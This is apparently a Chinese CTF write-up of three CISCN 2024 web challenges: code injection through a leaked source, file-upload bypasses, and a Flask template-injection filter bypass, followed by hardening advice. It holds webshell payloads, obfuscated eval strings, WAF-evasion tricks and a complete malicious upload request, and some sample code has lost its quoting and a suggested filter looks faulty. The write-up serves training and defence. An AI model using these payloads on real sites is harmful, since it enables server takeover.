【CISCN 2024 AWDP】从源码泄露到WAF绕过:实战剖析三道典型Web赛题解题思路
1. 源码泄露审计从www.zip到逻辑漏洞挖掘在CTF比赛中源码泄露往往是最容易被忽视却最具破坏力的漏洞之一。去年参加CISCN时我就遇到一道名为粗心的程序员的题目典型源码泄露案例让我记忆犹新。题目页面看似普通但通过尝试访问www.zip直接下载到了完整的网站源码包。源码审计首先要关注敏感文件比如config.php、database.ini这类配置文件。我习惯先用grep命令全局搜索关键词grep -rn password\|flag\|secret ./src在审计过程中发现这段危险代码$str //登录时间$time,$username $p; file_put_contents(config.php, file_get_contents(config.php).$str);这里存在两个致命问题一是未过滤的变量直接写入配置文件二是使用追加写入模式。攻击者可以通过控制$p参数注入PHP代码比如构造X-Forwarded-For头为X-Forwarded-For: ?php system($_GET[cmd]);?修复方案应该包括严格过滤输入参数使用正则表达式白名单避免将用户输入写入可执行文件设置文件不可执行权限if(preg_match(/[^a-z0-9\-\.]/i, $p)) { die(非法输入); }2. 文件上传绕过的艺术从MIME到WAF对抗文件上传漏洞在submit题目中展现得淋漓尽致。题目表面只允许上传PNG图片但实际存在多重绕过可能。我测试时发现服务端检查存在三个防御层前端验证仅JavaScript检查文件后缀MIME校验检查Content-Type为image/png内容检测正则匹配PHP特征码绕过方案可以分步实施使用Burp修改Content-Type为image/png将恶意文件命名为shell.png.php在文件开头添加PNG魔数‰PNG后接PHP代码更高级的WAF绕过技巧包括使用?短标签代替?php字符串拼接$asys;$btem;$a.$b(id);编码转换eval(base64_decode(c3lzdGVtKCJpZCIpOw));完整的上传示例请求POST /submit.php HTTP/1.1 Content-Type: multipart/form-data; boundary----WebKitFormBoundaryABC123 ------WebKitFormBoundaryABC123 Content-Disposition: form-data; namemyfile; filenameshell.png.php Content-Type: image/png ‰PNG ?$_GET[0]? ------WebKitFormBoundaryABC123--3. WAF规则对抗实战Polluted题目深度剖析Polluted题目展示了WAF规则对抗的典型场景。题目使用Flask框架存在模板注入漏洞但被自定义WAF拦截。通过分析源代码发现过滤规则存在以下缺陷黑名单机制而非白名单仅检查字符串字面量未处理unicode编码绕过方案采用属性链编码的方式{ __class__: { __base__: { __subclasses__: [].__class__.__base__.__subclasses__ } } }关键绕过步骤使用JSON格式传递payload通过字典嵌套绕过关键字检测利用Flask的模板上下文特性修复建议应包含def filter(user_input): whitelist [a-z, 0-9, -_] if not re.match(f^[{whitelist}]$, user_input): return True return False4. 防御体系建设从攻击到防护的闭环结合这三道题目可以构建完整的防御策略输入验证使用白名单而非黑名单在数据入口统一过滤$input filter_var($_GET[param], FILTER_VALIDATE_REGEXP, [options[regexp/^[a-z0-9]$/i]]);安全配置关闭PHP错误回显设置open_basedir限制expose_php Off open_basedir /var/www/html日志监控记录异常请求设置入侵检测规则# 监控异常文件访问 auditctl -w /flag -p rwa -k read_flag在CTF比赛中这些实战经验让我深刻理解到安全是攻防双方持续博弈的过程。每道赛题都像一面镜子既照出开发者的疏忽也反映出攻击者的创造力。